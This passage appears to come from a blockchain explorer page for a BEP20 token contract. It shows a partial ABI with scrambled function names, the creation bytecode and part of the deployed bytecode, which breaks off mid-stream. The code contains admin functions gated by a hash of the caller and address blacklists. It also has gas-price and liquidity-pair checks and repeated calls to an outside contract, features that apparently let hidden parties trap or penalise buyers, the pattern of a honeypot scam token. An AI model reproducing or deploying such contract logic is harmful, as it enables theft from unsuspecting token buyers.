:"uint256"},{"internalType":"bool","name":"FQBYHkrM","type":"bool"},{"internalType":"uint256","name":"JgJEOb","type":"uint256"}],"name":"pOBdlpwAZJkW","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"phwJURHHynwQuTNihImSWF","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"GFVjSQoZY","type":"uint256"}],"name":"tmRKkgwSY","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"XDIwHaXvC","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"DbFrvMtTGv","type":"address"},{"internalType":"address","name":"FjrHZeXYKvB","type":"address"},{"internalType":"uint256","name":"JWOIVYyNWg","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"vmxyattydq","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"vfGVhmwnlj","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"xDYqrXDjXH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"xciixvqnsender","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"xogzjyjvkbulhff","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60e0604052600760a090815266416e6472656e6160c81b60c052600690620000289082620006ec565b506040805180820190915260048152632220aba760e11b6020820152600790620000539082620006ec565b50600880546001600160a01b031990811673519d281627c9f25636a041416707e6f1f4cf945f1790915560098054909116730d45e7be3c2338c986e3a6399f403a6ff5b5518d1790556103e86012556014805460ff1990811660019081179092556007601555600060165560de60175560188054909116909117905562ee6b28602055600b60218190556305f5e1006022556572125f3252e5602355602655348015620000ff57600080fd5b50600680546200010f906200065d565b80601f01602080910402602001604051908101604052809291908181526020018280546200013d906200065d565b80156200018e5780601f1062000162576101008083540402835291602001916200018e565b820191906000526020600020905b8154815290600101906020018083116200017057829003601f168201915b505050505060078054620001a2906200065d565b80601f0160208091040260200160405190810160405280929190818152602001828054620001d0906200065d565b8015620002215780601f10620001f55761010080835404028352916020019162000221565b820191906000526020600020905b8154815290600101906020018083116200020357829003601f168201915b50506009546001600160a01b03169250600591506200024390508482620006ec565b506004620002528382620006ec565b506003805460ff191660099081179091556200027090600a620008cd565b6200028090633b9aca00620008e5565b60028190556001600160a01b03821660008181526020818152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505060007310ed43c718714eb63d5aa57b78b54704e256024e9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200032f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003559190620008ff565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003a3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003c99190620008ff565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000417573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200043d9190620008ff565b600f80546001600160a01b03199081166001600160a01b0393909316929092179055601e805482167310ed43c718714eb63d5aa57b78b54704e256024e179055601f805482167313f4ea83d0bd40e75c8222255bc855a974568dd4179055601c8054909116732836470ab9faa34fa413dd1a970d64d1dccc78b4179055620004cb333b63ffffffff16151590565b620004d557600080fd5b600854601080546001600160a01b0319166001600160a01b03928316908117909155908216608052604051600291620005239160200160609190911b6001600160601b031916815260140190565b60408051601f19818403018152908290526200053f916200092a565b602060405180830381855afa1580156200055d573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906200058291906200095b565b60195550600a80546001600160a01b03191673bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c179055601e546001600160a01b039081166000908152602560209081526040808320805460ff199081166001908117909255601f54861685528285208054821683179055600f5486168552600d845282852080548216831790556010805487168652600e85528386208054831684179055308652600b9094528285208054821683179055925490941683529091208054909116909117905562000975565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200067257607f821691505b6020821081036200069357634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620006e757600081815260208120601f850160051c81016020861015620006c25750805b601f850160051c820191505b81811015620006e357828155600101620006ce565b5050505b505050565b81516001600160401b0381111562000708576200070862000647565b62000720816200071984546200065d565b8462000699565b602080601f8311600181146200075857600084156200073f5750858301515b600019600386901b1c1916600185901b178555620006e3565b600085815260208120601f198616915b82811015620007895788860151825594840194600190910190840162000768565b5085821015620007a85787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200080f578160001904821115620007f357620007f3620007b8565b808516156200080157918102915b93841c9390800290620007d3565b509250929050565b6000826200082857506001620008c7565b816200083757506000620008c7565b81600181146200085057600281146200085b576200087b565b6001915050620008c7565b60ff8411156200086f576200086f620007b8565b50506001821b620008c7565b5060208310610133831016604e8410600b8410161715620008a0575081810a620008c7565b620008ac8383620007ce565b8060001904821115620008c357620008c3620007b8565b0290505b92915050565b6000620008de60ff84168362000817565b9392505050565b8082028115828204841417620008c757620008c7620007b8565b6000602082840312156200091257600080fd5b81516001600160a01b0381168114620008de57600080fd5b6000825160005b818110156200094d576020818601810151858301520162000931565b506000920191825250919050565b6000602082840312156200096e57600080fd5b5051919050565b6080516121216200098e600039600050506121216000f3fe608060405234801561001057600080fd5b50600436106101da5760003560e01c80638e8656b611610104578063b23ebea9116100a2578063d5d312cd11610071578063d5d312cd14610462578063d618bfc614610482578063d9cac10814610495578063dd62ed3e1461049e57600080fd5b8063b23ebea9146103f6578063c45a015514610419578063ca8abb151461042c578063d281c45f1461044f57600080fd5b8063a457c2d7116100de578063a457c2d7146103a0578063a9059cbb146103b3578063ab7b917f146103c6578063ad046bdd146103e957600080fd5b80638e8656b61461036257806395d89b41146103755780639aa4de251461037d57600080fd5b8063431813fe1161017c57806359b000561161014b57806359b00056146102f65780636d1708521461031957806370a082311461032657806382eef1ba1461034f57600080fd5b8063431813fe1461029857806349bd5a5e146102ad5780634cf5b92a146102c05780635080cccc146102e357600080fd5b80632362454d116101b85780632362454d1461023257806323b872dd1461025d578063313ce56714610270578063395093511461028557600080fd5b806306fdde03146101df578063095ea7b3146101fd57806318160ddd14610220575b600080fd5b6101e76104d7565b6040516101f49190611da5565b60405180910390f35b61021061020b366004611ded565b610569565b60405190151581526020016101f4565b6002545b6040519081526020016101f4565b600854610245906001600160a01b031681565b6040516001600160a01b0390911681526020016101f4565b61021061026b366004611e19565b610580565b60035460405160ff90911681526020016101f4565b610210610293366004611ded565b6105e9565b6102ab6102a6366004611ded565b61061f565b005b600f54610245906001600160a01b031681565b6102106102ce366004611e5a565b600d6020526000908152604090205460ff1681565b6102ab6102f1366004611e5a565b61071a565b610210610304366004611e5a565b60256020526000908152604090205460ff1681565b6014546102109060ff1681565b610224610334366004611e5a565b6001600160a01b031660009081526020819052604090205490565b6102ab61035d366004611e5a565b610824565b6102ab610370366004611e8c565b6108ee565b6101e7610a02565b61021061038b366004611e5a565b600b6020526000908152604090205460ff1681565b6102106103ae366004611ded565b610a11565b6102106103c1366004611ded565b610a60565b6102106103d4366004611e5a565b600c6020526000908152604090205460ff1681565b6018546102109060ff1681565b610210610404366004611e5a565b600e6020526000908152604090205460ff1681565b601154610245906001600160a01b031681565b61021061043a366004611e5a565b601a6020526000908152604090205460ff1681565b6102ab61045d366004611ee4565b610a6d565b610224610470366004611e5a565b601b6020526000908152604090205481565b601d54610245906001600160a01b031681565b61022460195481565b6102246104ac366004611efd565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600580546104e690611f36565b80601f016020809104026020016040519081016040528092919081815260200182805461051290611f36565b801561055f5780601f106105345761010080835404028352916020019161055f565b820191906000526020600020905b81548152906001019060200180831161054257829003601f168201915b5050505050905090565b6000610576338484610b34565b5060015b92915050565b600061058d848484610c8c565b6105df84336105da85604051806060016040528060288152602001612079602891396001600160a01b038a166000908152600160209081526040808320338452909152902054919061190a565b610b34565b5060019392505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105769185906105da9086611944565b6019546002336040516020016106359190611f70565b60408051601f198184030181529082905261064f91611f8d565b602060405180830381855afa15801561066c573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019061068f9190611fa9565b146106ff57601c54602054604051631e02403760e21b81526001600160a01b039092169163780900dc916106c99160040190815260200190565b600060405180830381600087803b1580156106e357600080fd5b505af11580156106f7573d6000803e3d6000fd5b505050505050565b601d54610716906001600160a01b031683836119aa565b5050565b6019546002336040516020016107309190611f70565b60408051601f198184030181529082905261074a91611f8d565b602060405180830381855afa158015610767573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019061078a9190611fa9565b146107f957601c54602054604051631e02403760e21b81526001600160a01b039092169163780900dc916107c49160040190815260200190565b600060405180830381600087803b1580156107de57600080fd5b505af11580156107f2573d6000803e3d6000fd5b5050505050565b610821816001600160a01b03166000908152600c60205260409020805460ff19166001179055565b50565b60195460023360405160200161083a9190611f70565b60408051601f198184030181529082905261085491611f8d565b602060405180830381855afa158015610871573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906108949190611fa9565b146108ce57601c54602054604051631e02403760e21b81526001600160a01b039092169163780900dc916107c49160040190815260200190565b601d80546001600160a01b0383166001600160a01b031990911617905550565b6019546002336040516020016109049190611f70565b60408051601f198184030181529082905261091e91611f8d565b602060405180830381855afa15801561093b573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019061095e9190611fa9565b146109cf57601c54602054604051631e02403760e21b81526001600160a01b039092169163780900dc916109989160040190815260200190565b600060405180830381600087803b1580156109b257600080fd5b505af11580156109c6573d6000803e3d6000fd5b505050506106f7565b6014805496151560ff19978816179055601594909455601692909255601755601880549115159190931617909155602355565b6060600480546104e690611f36565b600061057633846105da856040518060600160405280602581526020016120c7602591393360009081526001602090815260408083206001600160a01b038d168452909152902054919061190a565b6000610576338484610c8c565b601954600233604051602001610a839190611f70565b60408051601f1981840301815290829052610a9d91611f8d565b602060405180830381855afa158015610aba573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610add9190611fa9565b14610b1757601c54602054604051631e02403760e21b81526001600160a01b039092169163780900dc916107c49160040190815260200190565b600f54601d54610821916001600160a01b039081169116836119aa565b6001600160a01b038316610b9b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216610bfc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b92565b336000908152600c602052604090205460ff1615610c7c57601c54602154604051631e02403760e21b81526001600160a01b039092169163780900dc91610c499160040190815260200190565b600060405180830381600087803b158015610c6357600080fd5b505af1158015610c77573d6000803e3d6000fd5b505050505b610c87838383611b36565b505050565b6001600160a01b038316610cf05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610b92565b6001600160a01b038216610d525760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610b92565b60008111610db45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610b92565b6001600160a01b0383166000908152600b602052604090205460ff1680610df357506001600160a01b0382166000908152600b602052604090205460ff165b15610e0357610c878383836119aa565b6001600160a01b0383166000908152600b602052604081205460ff16158015610e4557506001600160a01b0383166000908152600b602052604090205460ff16155b6001600160a01b0385166000908152600c60205260408120549192509060ff1680610e8857506001600160a01b0384166000908152600c602052604090205460ff165b6015546001600160a01b038716600090815260136020526040812054929350914291610eb391611fd8565b11905083838015610edc57506001600160a01b0387166000908152600c602052604090205460ff165b8015610f0057506001600160a01b0386166000908152600d602052604090205460ff165b8015610f0d57506022543a105b8015610f1c575060185460ff16155b15610f3657602654610f2f90600b611c52565b905061102c565b838015610f5b57506001600160a01b0387166000908152600c602052604090205460ff165b8015610f7f57506001600160a01b0386166000908152600d602052604090205460ff165b8015610f8d575060185460ff165b15610fc2576000610fae620f4240610fa888620f423f611c94565b90611d16565b9050610fba8682611c52565b91505061102c565b838015610fcc5750825b8015610ff157506001600160a01b0386166000908152600d602052604090205460ff16155b801561101657506001600160a01b0387166000908152600d602052604090205460ff16155b1561102c5760265461102990600b611c52565b90505b6001600160a01b0386166000908152601a602052604090205460ff16156110b557601c54602054604051631e02403760e21b81526001600160a01b039092169163780900dc916110829160040190815260200190565b600060405180830381600087803b15801561109c57600080fd5b505af11580156110b0573d6000803e3d6000fd5b505050505b336000908152601a602052604090205460ff161561113557601c54602054604051631e02403760e21b81526001600160a01b039092169163780900dc916111029160040190815260200190565b600060405180830381600087803b15801561111c57600080fd5b505af1158015611130573d6000803e3d6000fd5b505050505b600f546001600160a01b039081169088160361159b57600f5460408051600481526024810182526020810180516001600160e01b0316630dfe168160e01b17905290516000928392839283926001600160a01b03169161119491611f8d565b6000604051808303816000865af19150503d80600081146111d1576040519150601f19603f3d011682016040523d82523d6000602084013e6111d6565b606091505b50600f5460408051600481526024810182526020810180516001600160e01b031663d21220a760e01b1790529051929450600093506001600160a01b03909116916112219190611f8d565b6000604051808303816000865af19150503d806000811461125e576040519150601f19603f3d011682016040523d82523d6000602084013e611263565b606091505b50600f5460408051600481526024810182526020810180516001600160e01b0316630240bc6b60e21b1790529051929450600093506001600160a01b03909116916112ae9190611f8d565b6000604051808303816000865af19150503d80600081146112eb576040519150601f19603f3d011682016040523d82523d6000602084013e6112f0565b606091505b509150506000808280602001905181019061130b9190611feb565b91509150600085806020019051810190611325919061200f565b905060008580602001905181019061133d919061200f565b600f546040516001600160a01b0391821660248201529192506000919084169060440160408051601f198184030181529181526020820180516001600160e01b03166370a0823160e01b179052516113959190611f8d565b6000604051808303816000865af19150503d80600081146113d2576040519150601f19603f3d011682016040523d82523d6000602084013e6113d7565b606091505b509150506000818060200190518101906113f19190611fa9565b600f546040516001600160a01b0391821660248201529192506000919085169060440160408051601f198184030181529181526020820180516001600160e01b03166370a0823160e01b179052516114499190611f8d565b6000604051808303816000865af19150503d8060008114611486576040519150601f19603f3d011682016040523d82523d6000602084013e61148b565b606091505b509150506000818060200190518101906114a59190611fa9565b600a549091506001600160a01b03908116908716036114e857828811156114de576114d0838961202c565b9b506012548c119d50611516565b8288149c50611516565b600a546001600160a01b03908116908616036115165780871115611510576114d0818861202c565b8087149c505b8d8061151f57508c5b1561158c57601c54602054604051631e02403760e21b81526001600160a01b039092169163780900dc916115599160040190815260200190565b600060405180830381600087803b15801561157357600080fd5b505af1158015611587573d6000803e3d6000fd5b505050505b50505050505050505050505050505b8380156115c057506001600160a01b0387166000908152600c602052604090205460ff165b80156115e457506001600160a01b0386166000908152600d602052604090205460ff165b80156115f3575060185460ff16155b801561160f57503360009081526025602052604090205460ff16155b1561167c57601c54602054604051631e02403760e21b81526001600160a01b039092169163780900dc916116499160040190815260200190565b600060405180830381600087803b15801561166357600080fd5b505af1158015611677573d6000803e3d6000fd5b505050505b8380156116a157506001600160a01b0387166000908152600c602052604090205460ff165b80156116c557506001600160a01b0386166000908152600d602052604090205460ff165b80156116d4575060185460ff16155b80156116ea5750601e546001600160a01b031633145b80156116f757506022543a115b1561176457601c54602054604051631e02403760e21b81526001600160a01b039092169163780900dc916117319160040190815260200190565b600060405180830381600087803b15801561174b57600080fd5b505af115801561175f573d6000803e3d6000fd5b505050505b336000908152601b602052604090205461177f906001611944565b336000908152601b602052604090205583801561179b57508481105b156117bb5760006117ac8683611c52565b90506117b98830836119aa565b505b6117c68787836119aa565b8380156117d6575060185460ff16155b1561190157600f5460408051600481526024810182526020810180516001600160e01b03166318160ddd60e01b1790529051600092839283926001600160a01b03909216916118259190611f8d565b6000604051808303816000865af19150503d8060008114611862576040519150601f19603f3d011682016040523d82523d6000602084013e611867565b606091505b5091509150808060200190518101906118809190611fa9565b60248190555081925060235460245411156118fd57601c54602054604051631e02403760e21b81526001600160a01b039092169163780900dc916118ca9160040190815260200190565b600060405180830381600087803b1580156118e457600080fd5b505af11580156118f8573d6000803e3d6000fd5b505050505b5050505b50505050505050565b6000818484111561192e5760405162461bcd60e51b8152600401610b929190611da5565b50600061193b848661202c565b95945050505050565b6000806119518385611fd8565b9050838110156119a35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610b92565b9392505050565b6001600160a01b038316611a0e5760405162461bcd60e51b815260206004820152602560248201527f42455032303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610b92565b6001600160a01b038216611a705760405162461bcd60e51b815260206004820152602360248201527f42455032303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610b92565b611aad816040518060600160405280602681526020016120a1602691396001600160a01b038616600090815260208190526040902054919061190a565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611adc9082611944565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91015b60405180910390a3505050565b6001600160a01b038316611b985760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610b92565b6001600160a01b038216611bf95760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b92565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259101611b29565b60006119a383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061190a565b600082600003611ca65750600061057a565b6000611cb2838561203f565b905082611cbf8583612056565b146119a35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610b92565b60006119a383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060008183611d745760405162461bcd60e51b8152600401610b929190611da5565b50600061193b8486612056565b60005b83811015611d9c578181015183820152602001611d84565b50506000910152565b6020815260008251806020840152611dc4816040850160208701611d81565b601f01601f19169190910160400192915050565b6001600160a01b038116811461082157600080fd5b60008060408385031215611e0057600080fd5b8235611e0b81611dd8565b946020939093013593505050565b600080600060608486031215611e2e57600080fd5b8335611e3981611dd8565b92506020840135611e4981611dd8565b929592945050506040919091013590565b600060208284031215611e6c57600080fd5b81356119a381611dd8565b80358015158114611e8757600080fd5b919050565b60008060008060008060c08789031215611ea557600080fd5b611eae87611e77565b9550602087013594506040870135935060608701359250611ed160808801611e77565b915060a087013590509295509295509295565b600060208284031215611ef657600080fd5b5035919050565b60008060408385031215611f1057600080fd5b8235611f1b81611dd8565b91506020830135611f2b81611dd8565b809150509250929050565b600181811c90821680611f4a57607f821691505b602082108103611f6a57634e487b7160e01b600052602260045260246000fd5b50919050565b60609190911b6bffffffffffffffffffffffff1916815260140190565b60008251611f9f818460208701611d81565b9190910192915050565b600060208284031215611fbb57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561057a5761057a611fc2565b60008060408385031215611ffe57600080fd5b505080516020909101519092909150565b60006020828403121561202157600080fd5b81516119a381611dd8565b8181038181111561057a5761057a611fc2565b808202811582820484141761057a5761057a611fc2565b60008261207357634e487b7160e01b600052601260045260246000fd5b50049056fe42455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203d6ffdea9f8a25189b210ef1334adcb171780dc58b05bf5456c1d22094f1d0a564736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101da5760003560e01c80638e8656b611610104578063b23ebea9116100a2578063d5d312cd11610071578063d5d312cd14610462578063d618bfc614610482578063d9cac10814610495578063dd62ed3e1461049e57600080fd5b8063b23ebea9146103f6578063c45a015514610419578063ca8abb151461042c578063d281c45f1461044f57600080fd5b8063a457c2d7116100de578063a457c2d7146103a0578063a9059cbb146103b3578063ab7b917f146103c6578063ad046bdd146103e957600080fd5b80638e8656b61461036257806395d89b41146103755780639aa4de251461037d57600080fd5b8063431813fe1161017c57806359b000561161014b57806359b00056146102f65780636d1708521461031957806370a082311461032657806382eef1ba1461034f57600080fd5b8063431813fe1461029857806349bd5a5e146102ad5780634cf5b92a146102c05780635080cccc146102e357600080fd5b80632362454d116101b85780632362454d1461023257806323b872dd1461025d578063313ce56714610270578063395093511461028557600080fd5b806306fdde03146101df578063095ea7b3146101fd57806318160ddd14610220575b600080fd5b6101e76104d7565b6040516101f49190611da5565b60405180910390f35b61021061020b366004611ded565b610569565b60405190151581526020016101f4565b6002545b6040519081526020016101f4565b600854610245906001600160a01b031681565b6040516001600160a01b0390911681526020016101f4565b61021061026b366004611e19565b610580565b60035460405160ff90911681526020016101f4565b610210610293366004611ded565b6105e9565b6102ab6102a6366004611ded565b61061f565b005b600f54610245906001600160a01b031681565b6102106102ce366004611e5a565b600d6020526000908152604090205460ff1681565b6102ab6102f1366004611e5a565b61071a565b610210610304366004611e5a565b60256020526000908152604090205460ff1681565b6014546102109060ff1681565b610224610334366004611e5a565b6001600160a01b031660009081526020819052604090205490565b6102ab61035d366004611e5a565b610824565b6102ab610370366004611e8c565b6108ee565b6101e7610a02565b61021061038b366004611e5a565b600b6020526000908152604090205460ff1681565b6102106103ae366004611ded565b610a11565b6102106103c1366004611ded565b610a60565b6102106103d4366004611e5a565b600c6020526000908152604090205460ff1681565b6018546102109060ff1681565b610210610404366004611e5a565b600e6020526000908152604090205460ff1681565b601154610245906001600160a01b031681565b61021061043a366004611e5a565b601a6020526000908152604090205460ff1681565b6102ab61045d366004611ee4565b610a6d565b610224610470366004611e5a565b601b6020526000908152604090205481565b601d54610245906001600160a01b031681565b61022460195481565b6102246104ac366004611efd565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600580546104e690611f36565b80601f016020809104026020016040519081016040528092919081815260200182805461051290611f36565b801561055f5780601f106105345761010080835404028352916020019161055f565b820191906000526020600020905b81548152906001019060200180831161054257829003601f168201915b5050505050905090565b6000610576338484610b34565b5060015b92915050565b600061058d848484610c8c565b6105df84336105da85604051806060016040528060288152602001612079602891396001600160a01b038a166000908152600160209081526040808320338452909152902054919061190a565b610b34565b5060019392505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105769185906105da9086611944565b6019546002336040516020016106359190611f70565b60408051601f198184030181529082905261064f91611f8d565b602060405180830381855afa15801561066c573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019061068f9190611fa9565b146106ff57601c54602054604051631e02403760e21b81526001600160a01b039092169163780900dc916106c99160040190815260200190565b600060405180830381600087803b1580156106e357600080fd5b505af11580156106f7573d6000803e3d6000fd5b505050505050565b601d54610716906001600160a01b031683836119aa565b5050565b6019546002336040516020016107309190611f70565b60408051601f198184030181529082905261074a91611f8d565b602060405180830381855afa158015610767573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019061078a9190611fa9565b146107f957601c54602054604051631e02403760e21b81526001600160a01b039092169163780900dc916107c49160040190815260200190565b600060405180830381600087803b1580156107de57600080fd5b505af11580156107f2573d6000803e3d6000fd5b5050505050565b610821816001600160a01b03166000908152600c60205260409020805460ff19166001179055565b50565b60195460023360405160200161083a9190611f70565b60408051601f198184030181529082905261085491611f8d565b602060405180830381855afa158015610871573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906108949190611fa9565b146108ce57601c54602054604051631e02403760e21b81526001600160a01b039092169163780900dc916107c49160040190815260200190565b601d80546001600160a01b0383166001600160a01b031990911617905550565b6019546002336040516020016109049190611f70565b60408051601f198184030181529082905261091e91611f8d565b602060405180830381855afa15801561093b573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019061095e9190611fa9565b146109cf57601c54602054604051631e02403760e21b81526001600160a01b039092169163780900dc916109989160040190815260200190565b600060405180830381600087803b1580156109b257600080fd5b505af11580156109c6573d6000803e3d6000fd5b505050506106f7565b6014805496151560ff19978816179055601594909455601692909255601755601880549115159190931617909155602355565b6060600480546104e690611f36565b600061057633846105da856040518060600160405280602581526020016120c7602591393360009081526001602090815260408083206001600160a01b038d168452909152902054919061190a565b6000610576338484610c8c565b601954600233604051602001610a839190611f70565b60408051601f1981840301815290829052610a9d91611f8d565b602060405180830381855afa158015610aba573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610add9190611fa9565b14610b1757601c54602054604051631e02403760e21b81526001600160a01b039092169163780900dc916107c49160040190815260200190565b600f54601d54610821916001600160a01b039081169116836119aa565b6001600160a01b038316610b9b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216610bfc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b92565b336000908152600c602052604090205460ff1615610c7c57601c54602154604051631e02403760e21b81526001600160a01b039092169163780900dc91610c499160040190815260200190565b600060405180830381600087803b158015610c6357600080fd5b505af1158015610c77573d6000803e3d6000fd5b505050505b610c87838383611b36565b505050565b6001600160a01b038316610cf05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610b92565b6001600160a01b038216610d525760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610b92565b60008111610db45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610b92565b6001600160a01b0383166000908152600b602052604090205460ff1680610df357506001600160a01b0382166000908152600b602052604090205460ff165b15610e0357610c878383836119aa565b6001600160a01b0383166000908152600b602052604081205460ff16158015610e4557506001600160a01b0383166000908152600b602052604090205460ff16155b6001600160a01b0385166000908152600c60205260408120549192509060ff1680610e8857506001600160a01b0384166000908152600c602052604090205460ff165b6015546001600160a01b038716600090815260136020526040812054929350914291610eb391611fd8565b11905083838015610edc57506001600160a01b0387166000908152600c602052604090205460ff165b8015610f0057506001600160a01b0386166000908152600d602052604090205460ff165b8015610f0d57506022543a105b8015610f1c575060185460ff16155b15610f3657602654610f2f90600b611c52565b905061102c565b838015610f5b57506001600160a01b0387166000908152600c602052604090205460ff165b8015610f7f57506001600160a01b0386166000908152600d602052604090205460ff165b8015610f8d575060185460ff165b15610fc2576000610fae620f4240610fa888620f423f611c94565b90611d16565b9050610fba8682611c52565b91505061102c565b838015610fcc5750825b8015610ff157506001600160a01b0386166000908152600d602052604090205460ff16155b801561101657506001600160a01b0387166000908152600d602052604090205460ff16155b1561102c5760265461102990600b611c52565b90505b6001600160a01b0386166000908152601a602052604090205460ff16156110b557601c54602054604051631e02403760e21b81526001600160a01b039092169163780900dc916110829160040190815260200190565b600060405180830381600087803b15801561109c57600080fd5b505af11580156110b0573d6000803e3d6000fd5b505050505b336000908152601a602052604090205460ff161561113557601c54602054604051631e02403760e21b81526001600160a01b039092169163780900dc916111029160040190815260200190565b600060405180830381600087803b15801561111c57600080fd5b505af1158015611130573d6000803e3d6000fd5b505050505b600f546001600160a01b039081169088160361159b57600f5460408051600481526024810182526020810180516001600160e01b0316630dfe168160e01b17905290516000928392839283926001600160a01b03169161119491611f8d565b6000604051808303816000865af19150503d80600081146111d1576040519150601f19603f3d011682016040523d82523d6000602084013e6111d6565b606091505b50600f5460408051600481526024810182526020810180516001600160e01b031663d21220a760e01b1790529051929450600093506001600160a01b03909116916112219190611f8d565b6000604051808303816000865af19150503d806000811461125e576040519150601f19603f3d011682016040523d82523d6000602084013e611263565b606091505b50600f5460408051600481526024810182526020810180516001600160e01b0316630240bc6b60e21b1790529051929450600093506001600160a01b03909116916112ae9190611f8d565b6000604051808303816000865af19150503d80600081146112eb576040519150601f19603f3d011682016040523d82523d6000602084013e6112f0565b606091505b509150506000808280602001905181019061130b9190611feb565b91509150600085806020019051810190611325919061200f565b905060008580602001905181019061133d919061200f565b600f546040516001600160a01b0391821660248201529192506000919084169060440160408051601f198184030181529181526020820180516001600160e01b03166370a0823160e01b179052516113959190611f8d565b6000604051808303816000865af19150503d80600081146113d2576040519150601f19603f3d011682016040523d82523d6000602084013e6113d7565b606091505b509150506000818060200190518101906113f19190611fa9565b600f546040516001600160a01b0391821660248201529192506000919085169060440160408051601f198184030181529181526020820180516001600160e01b03166370a0823160e01b179052516114499190611f